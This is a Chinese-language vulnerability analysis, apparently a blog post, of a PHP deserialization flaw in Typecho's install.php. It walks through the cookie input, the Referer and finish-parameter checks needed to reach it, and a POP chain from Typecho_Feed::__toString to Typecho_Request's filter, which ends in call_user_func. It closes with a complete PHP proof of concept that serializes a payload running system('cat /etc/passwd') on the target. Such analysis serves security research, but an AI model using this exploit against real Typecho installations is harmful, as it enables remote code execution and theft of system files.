0x01 漏洞前瞻
漏洞条件:
- Typecho version < 15.5.12
复现环境:
- apache2.4.41
- PHP7.4.3
- linux5.4.0-40
0x02 漏洞分析
先找出install.php
中的漏洞点,搜索unserialize()
函数,230-235行
1 2 3 4 5 6 7
| <?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db); ?>
|
参数被反序列化为数组之后先被赋给$config
变量,然后再将其成员作为Typecho_Db
类的参数,跟进这个类看一下,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function __construct($adapterName, $prefix = 'typecho_') { $this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); }
$this->_prefix = $prefix;
$this->_pool = array(); $this->_connectedPool = array(); $this->_config = array();
$this->_adapter = new $adapterName(); }
|
$config['adapter']
这个成员首先会被当做字符串使用,然后会使用它来new一个新的对象
所以这个过程中,虽然没有可以控制参数的危险函数,但是$config['adapter']
中的类一定会被触发的魔术方法有:
1 2 3
| __toString() __construct() __destruct()
|
反序列化的参数来自于Typecho_Cookie::get()
,看方法名猜测可控,跟进去查看一下,进入Typecho_Cookie类中
1 2 3 4 5 6 7
| private static $_prefix = '' public static function get($key, $default = NULL) { $key = self::$_prefix . $key; $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default); return is_array($value) ? $default : $value; }
|
可以看出返回值来自$_COOKIE['__typecho_config']
或$_POST['__typecho_config']
,这都属于我们可控的内容
然后返回来,查看如何才能使反序列化被执行:
1 2 3
| if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; }
$parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; }
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; } }
|
需要给定一个finish
参数,Referer
给定本站url,并且在cookie中指定__typecho_conig
,都很容易实现
0x02 POP链的寻找
__construct
一般来说是不利用的,因为一般来说无法控制参数,所以主要顺着思路在范围内查找包含__toString()``__destruct()
方法的类,看是否有可以利用的POP链
查找了一圈__destruct
,并没有发现能够利用的链。
最后在Feed.php中找到了一个也许能够利用的__toString方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public function __toString(){ ...... else if (self::RSS2 == $this->_type) { $result .= '<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:wfw="http://wellformedweb.org/CommentAPI/"> <channel>' . self::EOL;
$content = ''; $lastUpdate = 0;
foreach ($this->_items as $item) { $content .= '<item>' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL; $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL; $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; ......
}
|
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
中调用了$item[‘author’]的screenName属性,而$item数组则是来自于属性$this->_items数组中的一个成员
想着如果控制$item[‘author’],也许能够触发__get
方法,于是思路变为寻找可利用的__get
方法
在Typecho/Request.php中找到了一个
1 2 3 4
| public function __get($key) { return $this->get($key); }
|
跟进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public function get($key, $default = NULL) { switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; }
$value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value); }
|
可控的$this->_params[‘$key’]被赋给了$value,而$value被用作参数,跟进去看方法内有没有可以利用的点
1 2 3 4 5 6 7 8 9 10 11 12 13
| private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); }
$this->_filter = array(); }
return $value; }
|
危险函数call_user_func
,参数$value
可控,$filter
可控
梳理一下,大致的pop链
1 2 3 4 5
| array $config ↓ class Typecho_Feed->__toString() ↓ class Typecho_Request -> __get() -> get() -> _applyFilter()
|
0x03 POC编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php class Typecho_Request{
private $_params = array(); private $_filter = array();
public function __construct(){ $this->_params['screenName'] = "cat /etc/passwd"; $this->_filter[] = "system"; }
}
class Typecho_Feed{
private $_type; const RSS2 = 'RSS 2.0'; private $_items = array();
public function __construct(){ $this->_type = self::RSS2; $this->_items[] = array( "title" => "a", "link" => "b", "date" => "c", "author" => new Typecho_Request(), 'category' => array(new Typecho_Request()) ); }
} $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'a' );
echo base64_encode(serialize($exp));
|